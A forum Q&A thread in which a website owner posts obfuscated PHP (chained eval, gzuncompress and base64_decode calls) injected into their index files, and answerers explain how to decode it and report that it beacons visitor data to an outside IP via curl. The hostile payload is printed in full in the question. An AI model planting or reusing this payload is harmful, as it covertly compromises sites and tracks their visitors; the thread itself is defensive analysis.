PHP: Help decoding malicious code [closed]

Question

eval(gzuncompress(base64_decode('eF5Tcffxd3L0CY5WjzcyNDG2NDc3MLGMV4+1dSwqSqzU0LQGAJCPCMM=')));  eval(gzuncompress(base64_decode('eF5LK81LLsnMz1OINzczNTK1MDUy01DJ1KxWSbR1LCpKrNTQtC5KLSktylNISixONTOJT0lNzk9J1VBJjFbJjNW0rgUAqDUUxQ==')));  eval(gzuncompress(base64_decode('eF6VlMmyo0YURPeO8D94192hhQokhBSOXhSjmAoVVYDQxoGYJzFKAr7ez257Ya/6/UDevHkyMnmF9ddsfT6itumGZBy/3sMxOez/iJOojZOvXxKFo1GazvHOBGLA+eUaLVZpzajUZhTU15L3GFPsjAFRPMEAFudWy/H371++ffv2+2+//pL8xAHTODKmOT6slbE1tOJ1kiCDyoCxphgvMRm9qgExefekX133El0ismOkqGKP42MZLpKJpPMS8YTx4gSYVTsZZGe4IDdMec9Y+/pC3J1NwcNz5cbyxsZi7uQpYBHw88T+MPqTTulClndJI2Dx+I1owCJqXi0kAiGDr1PmpH+r/aTW/2IFVglZi6osknzT22+Yfz8mcjvS0l0L96TTiLuQ2MMek2IXbPSj2KrAO+ddAXvjWLWGHMfuyQrhhdkqAvz+CT+ojEYjqyB0rlslDwURXHJ71jw323da2R40mRpdS4G7wsjZXqfQjIck2hxOHc/bz77v+puTkrDPFsMoxgdVLn5dNCpjnotZMiFZKLX3LSu/xWPgnXXxxd2UgOtMuStvykbQOS04ZZINfXx9sg9l5G6GtgVvWJSG0uT8cr4x+pmL+C29MFouyy5VgBmk9WCjtJIuBwvaskyLo/De1BNIvYk6O/3liRUSN4tenILmuXaHUeqGNR7ouqyfyIb+1agxALuPZs5o1dYP9iuzSthDwkcnZgxky0cQ63OW8ELrc0LllmTOu7k3emSFNcicuCO11t2flxdnl3QngmRY8ipQ5yJo5i6sb69zN06yOgr1ja6SUyJPRVYU123gNYPkwhyM6zP7/hmmDAXA/GCKt2SMs9rXRPOUifjEuvCkhqLQ52ZxkHutKdrzZvO4+yIcdsdp/z5uwlMT7sqre/Bjns096xq4ppgfSHNomHt645A8tnLo1wPeKjUWwzM6Fy6801J9qwOWfUExd9U2eVAOZElU3Vc+2pdeJGosX+U022iZa0nW/LCIQLZPbjs0Rac9tmGfK+oW7k1LsaGMWZvsxuV9LSZ3/CDdQqpA6oCMr7F+OQDN42VrNztRLVGmOi9TZL02hmort/2iyAtvpWu7CtvHXihvbeyNn8nuv6vEBwCVFjuWGDCepDPG7JO788/0Obhcsd2DeRlXYhQvsSfZsjOV63USOcMk1bTUSCPFbCNq6xTUaK1OOuMJeqnc9RL5YMhciGs39OFn+PImRQj/d0cSdpLw+uFztQLmWu4BWyAXinlxV53ppnZdr6p5H9bhoKtpsK/1p2o8c7fu3ZZtENnLjisrS95ya6iLlxQIWqoLA1ELfAUFbpnNu2GfmFa1E5Lu+YrCNimZ6OyxMGmHhWwRwSIv9dFR9ryN1h02Q8pmGjVsNrsdOMNpBat/t0oYvWgkq/vhjiWxSxuuow+lR+virP659Lri9uDEEdZeK0HFT0Ig/8jlTymmN/I=')));

I need help decoding that entire script, someone recently added it to several index files on my website. I have since blocked access from their IP, removed the modified code and am in the process of disabling the eval() function.

Answer 1

Just let it decode itself: Print the content within the eval()-part

php > var_dump(gzuncompress(base64_decode('eF5Tcffxd3L0CY5WjzcyNDG2NDc3MLGMV4+1dSwqSqzU0LQGAJCPCMM=')));  eval(gzuncompress(base64_decode('eF5LK81LLsnMz1OINzczNTK1MDUy01DJ1KxWSbR1LCpKrNTQtC5KLSktylNISixONTOJT0lNzk9J1VBJjFbJjNW0rgUAqDUUxQ==')));
string(33) "$GLOBALS['_2143977049_']=Array();"

Answer 2

Change that eval to a print, and you'll see the code they're trying to execute.

Answer 3

Just echo instead of eval. Often times there are many layers to it, but with a little manual de-obfuscation after uncompressing it, you can figure out what is going on.

Answer 4

Basically this script kiddie code calls http://91_196_216_64/btt.php?ip..... and reports back "REMOTE_ADDR", 'HTTP_HOST', 'HTTP_USER_AGENT' and 'HTTP_REFERER' using 'curl*'.

You may want to block any TCP/UDP traffic to that IP on your router (NOT server) level or spend some $$$ to host your server behind a firewall.

Edit: If a server is compromised, security hole(s) can be installed anywhere, do ensure that your backup data are up to date and a standby server is ready to take over anytime.